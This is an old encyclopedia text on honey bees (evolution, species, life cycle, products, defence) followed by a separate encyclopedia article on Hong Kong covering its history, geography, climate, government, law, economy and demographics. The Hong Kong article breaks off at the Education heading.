          Honey bees as a group appear to have their centre of origin in South and Southeast Asia (including the Philippines), as all but one of the extant species are native to that region, notably the most plesiomorphic living species ( Apis florea and A. andreniformis). The first Apis bees appear in the fossil record at the Eocene-Oligocene boundary, in European deposits dating about 35 million years ago. The origin of these prehistoric honey bees does not necessarily indicate that Europe is where the genus originated, only that it occurred there at that time. There are few known fossil deposits in the suspected region of honeybee origin, and fewer still have been thoroughly studied; moreover, the tropical conditions are generally not ideal for fossilization of small land animals.


          The close relatives of modern honey bees - e.g. bumblebees and stingless bees - are also social to some degree, and thus social behaviour seems a plesiomorphic trait that predates the origin of the genus. Among the extant members of Apis, the more basal species make single, exposed combs, while the more recently-evolved species nest in cavities and have multiple combs, which has greatly facilitated their domestication.


          Most species have historically been cultured or at least exploited for honey and beeswax by humans indigenous to their native ranges. Only two of these species have been truly domesticated, one ( Apis mellifera) at least since the time of the building of the Egyptian pyramids, and only that species has been moved extensively beyond its native range.


          Today's honey bees constitute three clades (Engel 1999, Arias & Sheppard 2005):
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              Two views of an Apis florea dwarf honey bee nest in Thailand.
            

          


          


          Dwarf honey bees  subgenus Micrapis


          
            	Apis florea and Apis andreniformis are small honey bees of southern and southeastern Asia. They make very small, exposed nests in trees and shrubs. Their stings are often incapable of penetrating human skin, so the hive and swarms can be handled with minimal protection. They occur largely sympatrically though they are very distinct evolutionarily and are probably the result of allopatric speciation, their distribution later converging. Given that A. florea is more widely distributed and A. andreniformis is considerably more aggressive, honey is - if at all - usually harvested from the former only. They are the most ancient extant lineage of honey bees, maybe diverging in the Bartonian (some 40 mya or slightly later) from the other lineages, but among themselves do not seem to have diverged a long time before the Neogene.(Arias & Sheppard 2005)

          


          


          Giant honey bees  subgenus Megapis


          
            	There is one recognized species which usually builds single or a few exposed combs on high tree limbs, on cliffs, and sometimes on buildings. They can be very fierce. Periodically robbed of their honey by human "honey hunters", colonies are easily capable of stinging a human being to death when provoked. Their origin as a distinct lineage is only slightly more recent than that of the dwarf honey bees.
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              Apis dorsata nest, Thailand. The comb is approximately 1m across.
            

          


          
            	Apis dorsata, the Giant honey bee proper, is native and widespread across most of South and Southeast Asia.


            	Apis dorsata binghami, the Indonesian honey bee, is classified as the Indonesian subspecies of the Giant honey bee or a distinct species; in the latter case, A. d. breviligula and/or other lineages would probably also have to be considered species.
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            	Apis dorsata laboriosa, the Himalayan honey bee, was initially described as a distinct species. Later, it was included in A. dorsata as a subspecies (Engel 1999) based on the biological species concept, though authors applying a genetic species concept have suggested it should be considered a species (Arias & Sheppard 2005). Essentially restricted to the Himalayas, it differs little from the Giant honey bee in appearance, but has extensive behavioural adaptations which enable it to nest in the open at high altitudes despite low ambient temperatures. It is the largest living honey bee.

          


          


          Cavity-nesting honey bees  subgenus Apis


          
            [image: Eastern honey bee (Apis cerana) from Hong Kong.]

            
              Eastern honey bee (Apis cerana) from Hong Kong.
            

          


          
            	Eastern species

          


          
            	These are 3 or 4 species. The reddish Koschevnikov's Bee ( Apis koschevnikovi) from Borneo is well distinct; it probably derives from the first colonization of the island by cave-nesting honey bees. Apis cerana, the Eastern honey bee proper, is the traditional honey bee of southern and eastern Asia, kept in hives in a similar fashion to Apis mellifera, though on a much smaller and regionalized scale. It has not been possible yet to resolve its relationship to the Bornean Apis cerana nuluensis and Apis nigrocincta from the Philippines to satisfaction; the most recent hypothesis is that these are indeed distinct species but that A. cerana is still paraphyletic, consisting of several good species (Arias & Sheppard 2005).

          


          
            	Western (European, Common) honey bee

          


          
            	Apis mellifera, the most commonly domesticated species, was the third insect to have its genome mapped. It seems to have originated in eastern tropical Africa and spread from there to Northern Europe and eastwards into Asia to the Tien Shan range. It is variously called the Western, European or Common honey bee in different parts of the world. There are many subspecies that have adapted to the local geographic and climatic environment, and in addition, hybrid strains such as the Buckfast bee have been bred. Behavior, colour and anatomy can be quite different from one subspecies or even strain to another.
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              Distinguishing Western (left) and Eastern (right) honey bees from their wings
            

          


          
            	Regarding phylogeny, this is the most enigmatic honey bee species. It seems to have diverged from its Eastern relatives only during the Late Miocene. This would fit the hypothesis that the ancestral stock of cave-nesting honey bees was separated into the Western group of E Africa and the Eastern group of tropical Asia by desertification in the Middle East and adjacent regions, which caused declines of foodplants and trees which provided nest sites, eventually causing gene flow to cease. The diversity of subspecies is probably the product of a (largely) Early Pleistocene radiation aided by climate and habitat changes during the last ice age. That the Western honey bee has been intensively managed by humans since many millennia - including hybridization and introductions - has apparently increased the speed of its evolution and confounded the DNA sequence data to a point where little of substance can be said about the exact relationships of many A. mellifera subspecies.(Arias & Sheppard 2005)

          


          
            	There are no honey bees native to the Americas. In 1622, European colonists brought the dark bee ( A. m. mellifera) to the Americas, followed later by Italian bees (A. m. ligustica) and others. Many of the crops that depend on honey bees for pollination have also been imported since colonial times. Escaped swarms (known as "wild" bees, but actually feral) spread rapidly as far as the Great Plains, usually preceding the colonists. The Native Americans called the honey bee "the white man's fly". Honey bees did not naturally cross the Rocky Mountains; they were carried by ship to California in the early 1850s.

          


          


          Africanized Bee


          Widely known as the " killer bee", Africanized bees are highly aggressive hybrids between European stock and the African subspecies A. m. scutellata; they are thus often called "Africanized bees". Originating by accident in Brazil, they have spread to North America and constitutes a pest in some regions. However, these strains do not overwinter well, and so are not often found in the colder, more Northern parts of North America. On the other hand, the original breeding experiment for which the African bees were brought to Brazil in the first place has continued (though not as intended): novel hybrid strains of domestic and re-domesticated Africanized bees combine high resilience to tropical conditions and good yields, and are popular among beekeepers in Brazil.


          


          Colony Collapse
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              Beekeeping: Frame removed from Langstroth hive.
            

          


          Beekeepers in Western countries have been reporting slow declines of stocks for many years, apparently to changes in agricultural practice and perhaps climate change causing more unpredictable weather. In early 2007, abnormally high die-offs (30-70% of hives) of Western honey bee colonies occurred in the US and possibly Qubec; such a decline seems unprecedented in recent history. This has been dubbed " Colony Collapse Disorder" (CCD); it is unclear whether this is simply an accelerated phase of the general decline due to stochastically more adverse conditions in 2006, or a novel phenomenon. Research has hitherto failed to determine what causes it, but the weight of evidence is tentatively leaning towards CCD being a syndrome rather than a disease as it seems to be caused by a combination of various contributing factors rather than a single pathogen or poison.


          


          Beekeeping


          Two species of honey bee, A. mellifera and A. cerana, are often maintained, fed, and transported by beekeepers. Modern hives also enable beekeepers to transport bees, moving from field to field as the crop needs pollinating and allowing the beekeeper to charge for the pollination services they provide, revising the historical role of the self-employed beekeeper, and favoring large-scale commercial operations.


          


          Life cycle
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              Queen bee. Yellow dot is added to aid beekeeper.
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              Honey bee eggs shown in cut open wax cells
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              Emergence of a black bee ( Apis mellifera mellifera).
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              Eggs and larvae
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              Foragers coming in loaded with pollen on the hive landing board.
            

          


          As in a few other types of eusocial bees, a colony generally contains one queen bee, a fertile female; seasonally up to a few thousand drone bees or fertile males; and a large seasonally variable population of sterile female worker bees. Details vary among the different species of honey bees, but common features include:


          Eggs are laid singly in a cell in a wax honeycomb, produced and shaped by the worker bees. Larvae are initially fed with royal jelly produced by worker bees, later switching to honey and pollen. The exception is a larva fed solely on royal jelly, which will develop into a queen bee. The larva undergoes several moltings before spinning a cocoon within the cell, and pupating. Drones hatch from unfertilized eggs, females (Queens and worker bees) hatch from fertilized eggs. The queen actually can choose to fertilize the egg she is laying, usually depending on what cell she is laying in.


          Young worker bees clean the hive and feed the larvae. When their royal jelly producing glands begin to atrophy, they begin building comb cells. They progress to other within-colony tasks as they become older, such as receiving nectar and pollen from foragers, and guarding the hive. Later still, a worker takes her first orientation flights and finally leaves the hive and typically spends the remainder of her life as a forager.


          Worker bees cooperate to find food and use a pattern of "dancing" (known as the bee dance or waggle dance) to communicate information regarding resources with each other; this dance varies from species to species, but all living species of Apis exhibit some form of the behaviour. If the resources are very close to the hive, they may also exhibit a less specific dance commonly known as the "Round Dance".
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              Honey bee drinking
            

          


          Honey bees also perform tremble dances which recruit receiver bees to collect nectar from returning foragers .


          Virgin queens go on mating flights away from their home colony, and mate with multiple drones before returning. The drones die in the act of mating.


          Colonies are established not by solitary queens, as in most bees, but by groups known as " swarms", which consist of a mated queen and a large contingent of worker bees. This group moves en masse to a nest site that has been scouted by worker bees beforehand. Once they arrive, they immediately construct a new wax comb and begin to raise new worker brood. This type of nest founding is not seen in any other living bee genus, though there are several groups of Vespid wasps which also found new nests via swarming (sometimes including multiple queens). Also, stingless bees will start new nests with large numbers of worker bees, but the nest is constructed before a queen is escorted to the site, and this worker force is not a true "swarm".


          


          Pollination


          Species of Apis are generalist floral visitors, and will pollinate a large variety of plants, but by no means all plants. Of all the honey bee species, only Apis mellifera has been used extensively for commercial pollination of crops and other plants. The value of these pollination services is commonly measured in the billions of dollars.


          


          Honey
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              Honey combs
            

          


          Honey is the complex substance made when the nectar and sweet deposits from plants and trees are gathered, modified and stored in the honeycomb by honey bees as a food source for the colony. All living species of Apis have had their honey gathered by indigenous peoples for consumption, though for commercial purposes only Apis mellifera and Apis cerana have been exploited to any degree. Honey is sometimes also gathered by humans from the nests of various stingless bees.


          


          Beeswax


          Worker bees of a certain age will secrete beeswax from a series of glands on their abdomens. They use the wax to form the walls and caps of the comb. As with honey, beeswax is gathered for various purposes.
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              A forager collecting pollen.
            

          


          


          Pollen


          Bees collect pollen in the pollen basket and carry it back to the hive. In the hive, pollen is used as a protein source necessary during brood-rearing. In certain environments, excess pollen can be collected from the hives of A. mellifera and A. cerana. It is often eaten as a health supplement.


          


          Propolis


          Propolis (or bee glue) is created from resins, balsams and tree saps. Those species of honey bees which nest in tree cavities use propolis to seal cracks in the hive. Dwarf honey bees use propolis to defend against ants by coating the branch from which their nest is suspended to create a sticky moat. Propolis is consumed as a health supplement in various ways and also used in some cosmetics.


          


          Defense
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              Apis cerana forming a ball around two hornets. The body heat trapped by the ball will overheat and kill the hornets.
            

          


          All honey bees live in colonies where the worker bees will sting intruders as a form of defense, and alarmed bees will release a pheromone that stimulates the attack response in other bees. The different species of honey bees are distinguished from all other bee species (and virtually all other Hymenoptera) by the possession of small barbs on the sting, but these barbs are found only in the worker bees. The sting and associated venom sac are also modified so as to pull free of the body once lodged ( autotomy), and the sting apparatus has its own musculature and ganglion which allow it to keep delivering venom once detached.


          It is presumed that this complex apparatus, including the barbs on the sting, evolved specifically in response to predation by vertebrates, as the barbs do not usually function (and the sting apparatus does not detach) unless the sting is embedded in fleshy tissue. While the sting can also penetrate the flexible exoskeletal joints in appendages of other insects (and is used in fights between queens), in the case of Apis cerana defense against other insects such as predatory wasps is usually performed by surrounding the intruder with a mass of defending worker bees, who vibrate their muscles so vigorously that it raises the temperature of the intruder to a lethal level. This is also used to kill a queen perceived as intruding or defective, an action known to beekeepers as balling the queen, named for the ball of bees formed.


          


          Communication


          Honey bees are known to communicate through many different chemicals and odours, as is common in insects, but also using specific behaviors that convey information about the quality and type of resources in the environment, and where these resources are located. The details of the signaling being used vary from species to species; for example, the two smallest species, Apis andreniformis and Apis florea, dance on the upper surface of the comb, which is horizontal (not vertical, as in other species), and worker bees orient the dance in the actual compass direction of the resource to which they are recruiting.


          


          Symbolism


          A community of honey bees has often been employed throughout history by political theorists as a model of human society:


          
            "This image occurs in Aristotle and Plato; in Virgil and Seneca; in Erasmus and Shakespeare; in Marx and Tolstoy." (Wilson 2004: p.4)

          


          Honey bees, signifying immortality and resurrection, were royal emblems of the Napoleonic Empire.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Honey_bee"
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              	Official languages

              	Chinese, English
            


            
              	Demonym

              	Hongkonger
            


            
              	Government
            


            
              	-

              	Chief Executive

              	Donald Tsang
            


            
              	Establishment
            


            
              	-

              	Treaty of Nanking

              	29 August 1842
            


            
              	-

              	Japanese occupation

              	25 December 1941 

              15 August 1945
            


            
              	-

              	Transfer of sovereignty

              	1 July 1997
            


            
              	Area
            


            
              	-

              	Total

              	1,104km( 183rd)

              426 sqmi
            


            
              	-

              	Water(%)

              	4.6
            


            
              	Population
            


            
              	-

              	2007estimate

              	6,963,100( 98th)
            


            
              	-

              	2001census

              	6,708,389
            


            
              	-

              	Density

              	6,352/km( 3rd)

              16,469/sqmi
            


            
              	GDP( PPP)

              	2007estimate
            


            
              	-

              	Total

              	US$292.8 billion( 38th)
            


            
              	-

              	Per capita

              	US$41,994( 10th)
            


            
              	GDP (nominal)

              	2007estimate
            


            
              	-

              	Total

              	US$206.7 billion( 37th)
            


            
              	-

              	Per capita

              	US$29,650( 27th)
            


            
              	Gini(2007)

              	53.3
            


            
              	HDI(2007)

              	▲ 0.937(high)( 21st)
            


            
              	Currency

              	Hong Kong dollar ( HKD)
            


            
              	Time zone

              	HKT ( UTC+8)
            


            
              	Internet TLD

              	.hk
            


            
              	Calling code

              	+852
            

          


          Hong Kong Special Administrative Region, commonly known as Hong Kong (Chinese: 香 港 [ pronunciation]), is one of two special administrative regions in the People's Republic of China, the other being Macau. The territory lies on the eastern side of the Pearl River Delta, bordering Guangdong in the north and facing the South China Sea in the east, west and south.


          Hong Kong was a dependent territory of the United Kingdom from 1842 until the transfer of its sovereignty to the People's Republic of China in 1997. The Sino-British Joint Declaration and the Basic Law of Hong Kong stipulate that Hong Kong operate with a high degree of autonomy until at least 2047, fifty years after the transfer. Under the  one country, two systems policy, the Central People's Government is responsible for the territory's defence and foreign affairs, while Hong Kong maintains its own legal system, police force, monetary system, customs policy, immigration policy, and delegates to international organisations and events.


          Beginning as a trading port, Hong Kong emerged as a leading financial centre in the late 20th century. Its highly capitalist economy is heavily based on service industries, and thrives under a long-standing policy of government nonintervention. Although the population is predominantly Chinese, residents and expatriates of other ethnicities form a small but significant segment of society. Influenced by both Eastern and Western cultures, Hong Kong's unique formative experience is reflected in its cuisine, cinema and music.


          


          History


          Human settlement in the location now known as Hong Kong dates back to the Paleolithic era. The region was first incorporated into Imperial China in the Qin Dynasty, and served as a trading post and naval base during the Tang Dynasty and the Song Dynasty. The area's earliest recorded European visitor was Jorge lvares, a Portuguese mariner who arrived in 1513.


          In 1839 the refusal by Qing Dynasty authorities to import opium resulted in the First Opium War between China and Britain. Hong Kong Island was occupied by British forces in 1841, and then formally ceded to Britain under the Treaty of Nanking at the end of the war. The British established a Crown Colony with the founding of Victoria City the following year. In 1860, after China's defeat in the Second Opium War, the Kowloon Peninsula south of Boundary Street and Stonecutter's Island were ceded to Britain under the Convention of Peking. In 1898 Britain obtained a 99-year lease of Lantau Island and the adjacent northern lands, which became known as the New Territories.
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              Hong Kong in the late nineteenth century was a major trading post of the British Empire.
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              Japanese troops march along Queen's Road following the British surrender in 1941.
            

          


          Hong Kong was declared a free port to serve as an entrept of the British Empire. The Kowloon-Canton Railway opened in 1910 with a southern terminus in Tsim Sha Tsui. An education system based on the British model was introduced. The local Chinese population had little contact with the European community of wealthy tai-pans settled near Victoria Peak.


          In conjunction with its military campaign in World War II, the Empire of Japan invaded Hong Kong on December 8, 1941. The Battle of Hong Kong ended with British and Canadian defenders surrendering control of the colony to Japan on December 25. During the Japanese occupation, civilians suffered widespread food shortages, rationing, and hyper-inflation due to forced exchange of currency for military notes. Hong Kong lost more than half of its population in the period between the invasion and Japan's surrender in 1945, when the United Kingdom resumed control of the colony.


          Hong Kong's population recovered quickly as a wave of mainland migrants arrived for refuge from the ongoing Chinese Civil War. With the proclamation of the People's Republic of China in 1949 more migrants fled to Hong Kong from fear of persecution by the Communist Party. Many corporations in Shanghai and Guangzhou also shifted their operations to Hong Kong. The colony became the sole place of contact between mainland China and the Western world, as the communist government increasingly isolated the country from outside influence. Trade with the mainland was interrupted during the Korean War, when the United Nations ordered a trade embargo against the communist government.


          The textile and manufacturing industries grew with the help of population growth and low cost of labour. As Hong Kong rapidly industrialised, its economy became driven by exports to international markets. Living standards rose steadily with industrial growth. The construction of Shek Kip Mei Estate in 1953 marked the beginning of the public housing estate program. Hong Kong was disrupted by a year of chaos during the riots of 1967 following the commencement of the Cultural Revolution in 1966 in communist China.
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              Colonial flag of Hong Kong, used from 1959 to 1997
            

          


          


          The Independent Commission Against Corruption established in 1974 dramatically reduced corruption in the government. When the People's Republic of China initiated economic reforms in 1978, Hong Kong became the main source of foreign investments to the mainland. A Special Economic Zone was established the following year in the Chinese city of Shenzhen, located immediately north of the mainland's border with Hong Kong. Services gradually displaced textiles and manufacturing in the economy of Hong Kong, as the financial and banking sectors became increasingly dominant.


          After the Vietnam War ended in 1975 the Hong Kong government spent 25 years dealing with the entry and repatriation of Vietnamese refugees.


          With the lease of the New Territories due to expire within two decades the governments of the United Kingdom and the People's Republic of China discussed the issue of Hong Kong's sovereignty in the 1980s. In 1984 the two countries signed the Sino-British Joint Declaration, agreeing to transfer the sovereignty of Hong Kong to the People's Republic of China in 1997. The declaration stipulated that Hong Kong would be governed as a special administrative region, retaining its laws and a high degree of autonomy for at least fifty years after the transfer. Lacking confidence in the arrangement, some residents chose to emigrate, particularly after the Tiananmen Square protests of 1989.


          The Basic Law of Hong Kong, which would serve as the constitutional document after the transfer, was ratified in 1990. Over strong objections from Beijing, Governor Chris Patten introduced democratic reforms to the election process for the Legislative Council. The transfer of the sovereignty occurred at midnight on July 1, 1997, marked by a handover ceremony at the Hong Kong Convention and Exhibition Centre. Tung Chee Hwa assumed office as the first Chief Executive of Hong Kong.


          Hong Kong's economy was affected by the Asian financial crisis of 1997 that hit many East Asian markets. The lethal H5N1 avian influenza also surfaced that year. Implementation of the Airport Core Programme led to the opening of the new Hong Kong International Airport in 1998, after six years of construction. The project was part of the ambitious Port and Airport Development Strategy that was drafted in the early 1980s.


          There was an outbreak of severe acute respiratory syndrome (SARS) in Hong Kong in the first half of 2003. That year half a million people participated in a march to voice disapproval of the Tung administration and the proposal to implement Article 23 of the Basic Law, which had raised concerns over infringements on civil liberties. The proposal was later abandoned by the administration. In 2005 Tung submitted his resignation as chief executive. Donald Tsang, the Chief Secretary for Administration, was selected as chief executive to complete the term.


          


          Geography and climate
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              Areas of urban development and vegetation are visible in this false-colour satellite image.
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          Hong Kong is located on China's south coast, 60km (37mi) east of Macau on the opposite side of the Pearl River Delta. It is surrounded by the South China Sea on the east, south, and west, and borders the city of Shenzhen in Guangdong Province to the north over the Sham Chun River. The territory consists primarily of Hong Kong Island, Lantau Island, Kowloon Peninsula and the New Territories as well as some 260 other islands. While Lantau is the largest island, Hong Kong Island is the second largest and the most populated. Ap Lei Chau is the most densely populated island in the world.


          Much of Hong Kong remains undeveloped as the terrain is mostly hilly to mountainous with steep slopes. Of the territory's 1,104square kilometres (426sqmi), less than 25% is developed. The remaining land is remarkably green with about 40% of the landmass reserved as country parks and nature reserves. Most of the territory's urban development exists on Kowloon peninsula, along the northern shores of Hong Kong Island and in scattered settlements throughout the New Territories. The highest elevation in the territory is at Tai Mo Shan, at a height of 958metres (3,140ft) above sea level. Hong Kong's long, irregular and curvaceous coastline also affords the territory with many bays, rivers and beaches. Lowlands exist in the northwestern part of the New Territories.


          Despite Hong Kong's reputation of being intensely urbanised, the territory has made much effort to promote a green environment, and recent growing public concern has prompted the severe restriction of further land reclamation from Hong Kong's most famous natural landmark, Victoria Harbour. Awareness of the environment is growing as Hong Kong suffers from increasing pollution compounded by its geography and tall buildings. Approximately 80% of the city's smog originates from other parts of the Pearl River Delta.


          Situated just south of the Tropic of Cancer, Hong Kong's climate is subtropical ( Kppen climate classification Cwa), and is known for being unpredictable. Summer is hot and humid with occasional showers and thunderstorms, with warm air coming in from the southwest. It is also the time when tropical cyclones are most likely, sometimes resulting in flooding or landslips. Winter weather usually starts sunny and becomes cloudier towards February, with the occasional cold front bringing strong, cooling winds from the north. The most pleasant seasons are spring, although changeable, and autumn, which is generally sunny and dry. Hong Kong averages 1,948 hours of sunshine per year, while the highest and lowest ever recorded temperatures at the Hong Kong Observatory are 36.1 C (97.0 F) and 0.0C (32.0F), respectively. Frost occurs only once or twice a year inland and on higher ground, and snow is almost unheard of. Hong Kong does not observe daylight saving time.


          



          
            
              	Weather averages for Hong Kong
            


            
              	Month

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	Jun

              	Jul

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec

              	Year
            


            
              	Average high C (F)

              	18.6 (65)

              	18.6 (65)

              	21.5 (71)

              	25.1 (77)

              	28.4 (83)

              	30.4 (87)

              	31.3 (88)

              	31.1 (88)

              	30.2 (86)

              	27.7 (82)

              	24.0 (75)

              	20.3 (69)

              	25 (77)
            


            
              	Average low C (F)

              	14.1 (57)

              	14.4 (58)

              	16.9 (62)

              	20.6 (69)

              	23.9 (75)

              	26.1 (79)

              	26.7 (80)

              	26.4 (80)

              	25.6 (78)

              	23.4 (74)

              	19.4 (67)

              	15.7 (60)

              	21 (70)
            


            
              	Precipitation mm (inches)

              	24 (0.94)

              	52 (2.05)

              	71 (2.8)

              	188 (7.4)

              	329 (12.95)

              	388 (15.28)

              	374 (14.72)

              	444 (17.48)

              	287 (11.3)

              	151 (5.94)

              	35 (1.38)

              	34 (1.34)

              	2,382 (93.78)
            


            
              	Source: Hong Kong Observatory 2008
            

          


          


          Politics and government


          In accordance with the Sino-British Joint Declaration, and reflecting the policy known as " one country, two systems" by the People's Republic of China, Hong Kong enjoys autonomy as a special administrative region except in defence and foreign affairs. The declaration stipulates that the region maintain its capitalist economic system and guarantees the rights and freedoms of its people for at least 50 years beyond the transfer of sovereignty. The Basic Law is the constitutional document that outlines executive, legislative and judicial authorities of government.
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              The Legislative Council Building is located in Central.
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              Government House is the official residence of the Chief Executive, the head of Hong Kong Government.
            

          


          The Chief Executive is the head of government and the region's principal representative, chosen by the Election Committee to serve no more than two five-year terms. The 800 members of the Election Committee serve five-year terms, and are composed of ex-official government members and functional constituency delegates selected by qualified individuals and legal entities belonging to various industrial, commercial, professional, labour, social services, academic and religious sectors of society. The candidate chosen by the Election Committee must receive appointment by the Central People's Government to assume office. The Chief Executive appoints senior officers under the Principal Officials Accountability System and directs government policies with consultation from the Executive Council, the cabinet body. In addition, the Chief Executive appoints judges, signs legislation and may pardon or commute sentences.


          The Legislative Council is the unicameral lawmaking body with 60 members serving four-year terms. Half of its membership is directly elected from geographical electoral districts by universal suffrage through a party-list proportional representation system, while the remaining half are returned from functional constituencies. The President of the Legislative Council is elected by and from among the members, and serves the role of speaker. Government bills are passed by a simple majority vote from members of the council, while private member's bills require separate majorities from geographical constituency members and functional constituency members for passage.


          The Hong Kong Civil Service is a politically-neutral body that implements policies and provides government services. The appointment and promotion of public servants is based on qualifications, experience and ability. The permanent secretary is the most senior civil service position within each government bureau, serving under the politically-appointed position of secretary. The twelve bureaus operate from government office buildings located throughout the territory, with headquarters in the Central Government Offices.


          The Basic Law and universal suffrage have been major issues of political debate since the transfer of sovereignty. In 2002, the government attempted to implement Article 23 of the Basic Law, which requires the enactment of laws prohibiting acts of treason and subversion against the Chinese government. The proposal met strong opposition due to concerns that it undermined civil liberties, and was a major cause for the July 1 march in 2003. The bill was shelved after it became clear it lacked the needed support in the legislature. Debate also surrounds the issue of reforming the electoral system for the Chief Executive and the Legislative Council, and the time frame for such political reforms. The Basic Law states that the ultimate aim is the election of the Chief Executive and the entire membership of the legislature by universal suffrage. The politics of Hong Kong is often characterised by the debate between pro-government groups and pro-democracy groups, which generally support a faster pace of democratisation. A proposal for political reform was defeated in the legislature in 2005.


          


          Legal system and judiciary


          
            [image: The Court of Final Appeal in Central]

            
              The Court of Final Appeal in Central
            

          


          In contrast to mainland China's civil law system, Hong Kong continues to follow the common law tradition established by British colonial rule. Article 84 of the Basic Law of Hong Kong allows Hong Kong's courts to refer to decisions ( precedents) rendered by courts of other common law jurisdictions. Articles 82 and 92 allow judges from other common law jurisdictions to participate in proceedings of Hong Kong's Court of Final Appeal and sit as Hong Kong judges.


          Structurally, Hong Kong's court system consists of the Court of Final Appeal which replaced the Judicial Committee of the Privy Council, the High Court, which is made up of the Court of Appeal and the Court of First Instance, and the District Court, which includes the Family Court. Other adjudicative bodies include the Lands Tribunal, the Magistrates' Courts, the Juvenile Court, the Coroner's Court, the Labour Tribunal, the Small Claims Tribunal, and the Obscene Articles Tribunal, which is responsible for classifying non-video pornography to be circulated in Hong Kong. Justices of the Court of Final Appeal are appointed by Hong Kong's Chief Executive. The Basic Law of Hong Kong is subject to interpretation by the Standing Committee of the National People's Congress (NPC:SC) and this power has been invoked three times: the right of abode issue, an interpretation regarding post-2008 election procedures, and an interpretation regarding the length of the term of the Chief Executive.


          As in England, lawyers in Hong Kong are classified as either barristers or solicitors, where one can choose to practice as either one but not both (but it is possible to switch from one to another.) The vast majority of lawyers are solicitors, who are licensed and regulated by the Law Society of Hong Kong. Barristers, on the other hand, are licensed and regulated by the Hong Kong Bar Association. Only barristers are allowed to appear in the Court of Final Appeal and the High Court. Just as the common law system is maintained, so are British courtroom customs such as the wearing of robes and wigs by both judges and lawyers.


          According to the Article 63 of the Basic Law of Hong Kong, the Department of Justice controls criminal prosecutions, free from interference. It is the largest legal institution in Hong Kong, and its responsibilities involve legislation, judicial administration, prosecution, civil representation, legal and policy drafting and reform, and the legal profession. Aside from prosecuting criminal cases in Hong Kong, officials of the Department of Justice also appear in court on behalf of the government in all civil and administrative lawsuits against the government. As the protector of public interests, it may apply for judicial reviews and assign legal representation on behalf of public interest to take part in the trial of cases that involve material public interests.


          


          Administrative districts


          Hong Kong is subdivided into 18 geographic districts for administrative purposes:
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          Each district is represented by a District Council that advises the Government of Hong Kong on local matters such as public facilities, community programmes, cultural activities and environmental improvements. The Home Affairs Department is the governmental body responsible for coordinating services and communicating government policies and plans to the public. It interacts with the public at the local level through corresponding district offices.


          As the territory is governed by unitary authority, there are no formal definitions for cities and towns in Hong Kong and no capital city has been designated. The historic boundaries of Victoria City, Kowloon and New Kowloon remain stated in law, but these entities have not had any legal or administrative status since the implementation of the District Administration Scheme in 1982. Previously some colonial-era texts had considered Victoria City to be the capital.
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            [image: 2 International Finance Centre, the tallest building in Hong Kong]

            
              2 International Finance Centre, the tallest building in Hong Kong
            

          


          Hong Kong is one of the world's leading financial centres. Its highly capitalist economy, built on a policy of free markets, low taxation and government non-intervention, has been ranked as the most free economy in the world in the Index of Economic Freedom for 14 consecutive years. It is an important centre for international finance and trade, with the greatest concentration of corporate headquarters in the Asia-Pacific region, and is known as one of the Four Asian Tigers for its high growth rates and rapid industrialisation between the 1960s and 1990s. The Hong Kong Stock Exchange is the sixth largest in the world, with a market capitalisation of US$2.97 trillion as of October 2007, and the second highest value of initial public offerings, after London. The currency used in Hong Kong is the Hong Kong dollar, which has been pegged to the US dollar since 1983.


          Continuing the practice established under the British administration, the Government of Hong Kong generally plays a passive role in the financial industry, mostly leaving the direction of the economy to market forces and the private sector. Under the official policy of positive non-interventionism, Hong Kong has often been cited as a prime example of laissez-faire capitalism. Following the Second World War, Hong Kong industrialised rapidly as a manufacturing centre driven by exports, and then underwent a rapid transition to a service-based economy in the 1980s. Hong Kong matured to become a financial centre in the 1990s, but was greatly affected by the Asian financial crisis in 1998, and again in 2003 by the SARS outbreak. A revival of external and domestic demand led to a strong recovery the following year, as cost decreases strengthened the competitiveness of Hong Kong exports, and a 68-month-long deflationary period ended, with consumer price inflation close to zero.


          Hong Kong has little arable land and few natural resources within its borders, and must therefore import most of its food and raw materials. Hong Kong is the world's eleventh largest trading entity, with the total value of imports and exports exceeding its gross domestic product. Much of Hong Kong's exports consist of re-exports, which are products made outside of the territory, especially in mainland China, and distributed via Hong Kong. Even before the transfer of sovereignty to the People's Republic of China, Hong Kong had established extensive trade and investment ties with mainland China. The territory's autonomous status enables it to serve as a point of entry for investments and resources flowing into the mainland. It is also a connecting point for flights from Taiwan destined for the mainland.


          At the end of 2007, there were 3.46 million people employed full-time, with the unemployment rate averaging 4.1%, the fourth straight year of decline. Hong Kong's economy is dominated by the service sector, which accounts for over 90% of its GDP, while industry now constitutes just 9%. Hong Kong's tourism industry has recently benefitted from an increase in mainland visitors and the opening of Hong Kong Disneyland Resort in 2005. Inflation was at 2% in 2007, and Hong's Kong's largest export markets are China, the United States, and Japan.


          


          Demographics
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          Residents of Hong Kong are sometimes referred to as Hongkongers. Hong Kong's population increased sharply throughout the 1990s, reaching 6.99 million in 2006. About 95% of Hong Kong's population is of Chinese descent, the majority of which is Cantonese or from ethnic groups such as Hakka and Teochew. Cantonese, a Chinese language originating from Guangdong province to the north of Hong Kong, is Hong Kong's de-facto official dialect and 95% of the population speaks Cantonese as their first language. English is also an official language widely spoken by more than 38% of the population. According to the 1996 Hong Kong Government by-census, some 3.1% regard English as their 'usual' language with 34.9% claiming to speak English as 'another' language. Signs displaying both Chinese and English are common throughout the territory. Since the 1997 handover, new groups of mainland Chinese immigrants have arrived. The usage of Mandarin, the official dialect of People's Republic of China and Republic of China (Taiwan), has also increased. The integration with mainland economy led to a demand in Mandarin speakers.


          The remaining 5% of the population is composed of non-ethnic Chinese forming a highly visible group despite their smaller numbers. A South Asian population of Sindhis, Indians, Pakistanis and Nepalese are found. Vietnamese refugees have become permanent residents. Approximately 140,000 Filipinos live and work in Hong Kong with the majority as foreign domestic helpers. An increasing number of domestic workers also originate from Indonesia. There are also a number of Europeans, Americans, Australians, Canadians, Japanese, and Koreans working in Hong Kong's commercial and financial sector.


          Considered as a dependency, Hong Kong is one of the most densely populated countries/dependencies in the world, with an overall density of more than 6,200 people perkm. Hong Kong has a fertility rate of 0.95 children per woman, one of the lowest in the world and far below the 2.1 children per woman required to sustain the current population. However, population in Hong Kong continues to grow due to the influx of immigrants from mainland China approximating 45,000 per year. Life expectancy in Hong Kong is 81.6 years as of 2006, 2nd highest in the world.


          Hong Kong's population has an extremely dense urban core, consisting of Kowloon and the north of Hong Kong Island. The rest of Hong Kong is relatively sparsely populated, with millions of residents scattered irregularly throughout the New Territories, south Hong Kong island and Lantau Island. An increasing number of citizens are commuting from Shenzhen in mainland China.


          


          Education
